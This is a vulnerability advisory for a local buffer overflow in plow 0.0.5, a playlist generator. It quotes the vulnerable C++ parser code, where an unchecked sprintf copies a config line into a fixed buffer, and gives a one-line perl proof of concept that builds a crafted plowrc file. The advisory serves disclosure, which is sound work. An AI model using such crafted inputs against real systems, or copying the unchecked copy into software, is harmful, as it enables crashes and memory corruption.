################################################# plow 0.0.5 <= Buffer Overflow Vulnerability #################################################
Discovered by: Jean Pascal Pereira <pere...@secbiz.de> Vendor information: "plow is a command line playlist generator." Vendor URI: http://developer.berlios.de/projects/plow/ ################################################# Risk-level: Medium The application is prone to a local buffer overflow vulnerability. ------------------------------------- IniParser.cpp, line 26: 26: char buffer[length]; 27: char group [length]; 28: 29: char *option; 30: char *value; 31: 32: while(ini.getline(buffer, length)) { 33: if(!strlen(buffer) || buffer[0] == '#') { 34: continue; 35: } 36: if(buffer[0] == '[') { 37: if(buffer[strlen(buffer) - 1] == ']') { 38: sprintf(group, "%s", buffer); 39: } else { 40: err = 1; 41: break; 42: } 43: } ------------------------------------- Exploit / Proof Of Concept: Create a crafted plowrc file: perl -e '$x="A"x1096;print("[".$x."]\nA=B")'>plowrc ------------------------------------- Solution: Do some input validation. ------------------------------------- #################################################